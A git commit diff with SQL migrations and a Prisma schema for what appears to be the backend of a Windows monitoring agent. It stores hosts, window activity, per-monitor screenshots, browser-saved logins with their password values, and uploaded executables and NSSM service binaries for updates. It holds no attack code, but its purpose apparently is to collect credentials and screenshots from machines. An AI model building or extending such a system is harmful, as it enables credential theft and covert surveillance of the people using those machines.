first commit

This commit is contained in:
2025-06-28 15:16:06 +08:00
parent 0072220d05
commit 3c62871948
27 changed files with 2194 additions and 27 deletions
@@ -0,0 +1,122 @@
-- CreateTable
CREATE TABLE "hosts" (
"id" TEXT NOT NULL,
"hostname" TEXT NOT NULL,
"lastUpdate" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updatedAt" TIMESTAMP(3) NOT NULL,
CONSTRAINT "hosts_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "records" (
"id" TEXT NOT NULL,
"hostname" TEXT NOT NULL,
"timestamp" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updatedAt" TIMESTAMP(3) NOT NULL,
CONSTRAINT "records_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "windows" (
"id" TEXT NOT NULL,
"recordId" TEXT NOT NULL,
"title" TEXT NOT NULL,
"path" TEXT NOT NULL,
"memory" INTEGER NOT NULL,
CONSTRAINT "windows_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "screenshots" (
"id" TEXT NOT NULL,
"recordId" TEXT NOT NULL,
"fileId" TEXT NOT NULL,
"filename" TEXT NOT NULL,
"monitorName" TEXT NOT NULL,
CONSTRAINT "screenshots_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "credentials" (
"id" TEXT NOT NULL,
"hostname" TEXT NOT NULL,
"username" TEXT NOT NULL,
"browser" TEXT NOT NULL,
"url" TEXT NOT NULL,
"login" TEXT NOT NULL,
"lastSyncTime" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updatedAt" TIMESTAMP(3) NOT NULL,
CONSTRAINT "credentials_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "passwords" (
"id" TEXT NOT NULL,
"credentialId" TEXT NOT NULL,
"value" TEXT NOT NULL,
"timestamp" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
CONSTRAINT "passwords_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "versions" (
"id" TEXT NOT NULL,
"version" TEXT NOT NULL,
"fileId" TEXT NOT NULL,
"filename" TEXT NOT NULL,
"checksum" TEXT NOT NULL,
"uploadTime" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"isLatest" BOOLEAN NOT NULL DEFAULT false,
CONSTRAINT "versions_pkey" PRIMARY KEY ("id")
);
-- CreateTable
CREATE TABLE "nssm" (
"id" TEXT NOT NULL,
"fileId" TEXT NOT NULL,
"filename" TEXT NOT NULL,
"checksum" TEXT NOT NULL,
"uploadTime" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
CONSTRAINT "nssm_pkey" PRIMARY KEY ("id")
);
-- CreateIndex
CREATE UNIQUE INDEX "hosts_hostname_key" ON "hosts"("hostname");
-- CreateIndex
CREATE INDEX "records_hostname_timestamp_idx" ON "records"("hostname", "timestamp");
-- CreateIndex
CREATE INDEX "records_timestamp_idx" ON "records"("timestamp");
-- CreateIndex
CREATE INDEX "credentials_hostname_idx" ON "credentials"("hostname");
-- CreateIndex
CREATE UNIQUE INDEX "credentials_hostname_username_browser_url_login_key" ON "credentials"("hostname", "username", "browser", "url", "login");
-- AddForeignKey
ALTER TABLE "records" ADD CONSTRAINT "records_hostname_fkey" FOREIGN KEY ("hostname") REFERENCES "hosts"("hostname") ON DELETE RESTRICT ON UPDATE CASCADE;
-- AddForeignKey
ALTER TABLE "windows" ADD CONSTRAINT "windows_recordId_fkey" FOREIGN KEY ("recordId") REFERENCES "records"("id") ON DELETE CASCADE ON UPDATE CASCADE;
-- AddForeignKey
ALTER TABLE "screenshots" ADD CONSTRAINT "screenshots_recordId_fkey" FOREIGN KEY ("recordId") REFERENCES "records"("id") ON DELETE CASCADE ON UPDATE CASCADE;
-- AddForeignKey
ALTER TABLE "credentials" ADD CONSTRAINT "credentials_hostname_fkey" FOREIGN KEY ("hostname") REFERENCES "hosts"("hostname") ON DELETE RESTRICT ON UPDATE CASCADE;
-- AddForeignKey
ALTER TABLE "passwords" ADD CONSTRAINT "passwords_credentialId_fkey" FOREIGN KEY ("credentialId") REFERENCES "credentials"("id") ON DELETE CASCADE ON UPDATE CASCADE;
@@ -0,0 +1,31 @@
/*
Warnings:
- Added the required column `objectName` to the `nssm` table without a default value. This is not possible if the table is not empty.
- Added the required column `objectName` to the `screenshots` table without a default value. This is not possible if the table is not empty.
- Added the required column `objectName` to the `versions` table without a default value. This is not possible if the table is not empty.
*/
-- AlterTable
ALTER TABLE "nssm" ADD COLUMN "contentType" TEXT NOT NULL DEFAULT 'application/x-msdownload',
ADD COLUMN "fileSize" INTEGER NOT NULL DEFAULT 0,
ADD COLUMN "objectName" TEXT NOT NULL;
-- AlterTable
ALTER TABLE "screenshots" ADD COLUMN "contentType" TEXT NOT NULL DEFAULT 'image/webp',
ADD COLUMN "fileSize" INTEGER NOT NULL DEFAULT 0,
ADD COLUMN "objectName" TEXT NOT NULL;
-- AlterTable
ALTER TABLE "versions" ADD COLUMN "contentType" TEXT NOT NULL DEFAULT 'application/x-msdownload',
ADD COLUMN "fileSize" INTEGER NOT NULL DEFAULT 0,
ADD COLUMN "objectName" TEXT NOT NULL;
-- CreateIndex
CREATE INDEX "nssm_objectName_idx" ON "nssm"("objectName");
-- CreateIndex
CREATE INDEX "screenshots_objectName_idx" ON "screenshots"("objectName");
-- CreateIndex
CREATE INDEX "versions_objectName_idx" ON "versions"("objectName");
+3
View File
@@ -0,0 +1,3 @@
# Please do not edit this file manually
# It should be added in your version-control system (e.g., Git)
provider = "postgresql"
+137
View File
@@ -0,0 +1,137 @@
// This is your Prisma schema file,
// learn more about it in the docs: https://pris.ly/d/prisma-schema
// Looking for ways to speed up your queries, or scale easily with your serverless or edge functions?
// Try Prisma Accelerate: https://pris.ly/cli/accelerate-init
generator client {
provider = "prisma-client-js"
}
datasource db {
provider = "postgresql"
url = env("DATABASE_URL")
}
model Host {
id String @id @default(cuid())
hostname String @unique
lastUpdate DateTime @default(now())
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
// Relations
records Record[]
credentials Credential[]
@@map("hosts")
}
model Record {
id String @id @default(cuid())
hostname String
timestamp DateTime @default(now())
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
// Relations
host Host @relation(fields: [hostname], references: [hostname])
windows Window[]
screenshots Screenshot[]
@@index([hostname, timestamp])
@@index([timestamp])
@@map("records")
}
model Window {
id String @id @default(cuid())
recordId String
title String
path String
memory Int
// Relations
record Record @relation(fields: [recordId], references: [id], onDelete: Cascade)
@@map("windows")
}
model Screenshot {
id String @id @default(cuid())
recordId String
fileId String // 保持兼容性
objectName String // MinIO 对象名称
filename String
monitorName String
contentType String @default("image/webp")
fileSize Int @default(0)
// Relations
record Record @relation(fields: [recordId], references: [id], onDelete: Cascade)
@@index([objectName])
@@map("screenshots")
}
model Credential {
id String @id @default(cuid())
hostname String
username String
browser String
url String
login String
lastSyncTime DateTime @default(now())
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
// Relations
host Host @relation(fields: [hostname], references: [hostname])
passwords Password[]
@@unique([hostname, username, browser, url, login])
@@index([hostname])
@@map("credentials")
}
model Password {
id String @id @default(cuid())
credentialId String
value String
timestamp DateTime @default(now())
// Relations
credential Credential @relation(fields: [credentialId], references: [id], onDelete: Cascade)
@@map("passwords")
}
model Version {
id String @id @default(cuid())
version String
fileId String // 保持兼容性
objectName String // MinIO 对象名称
filename String
checksum String
contentType String @default("application/x-msdownload")
fileSize Int @default(0)
uploadTime DateTime @default(now())
isLatest Boolean @default(false)
@@index([objectName])
@@map("versions")
}
model Nssm {
id String @id @default(cuid())
fileId String // 保持兼容性
objectName String // MinIO 对象名称
filename String
checksum String
contentType String @default("application/x-msdownload")
fileSize Int @default(0)
uploadTime DateTime @default(now())
@@index([objectName])
@@map("nssm")
}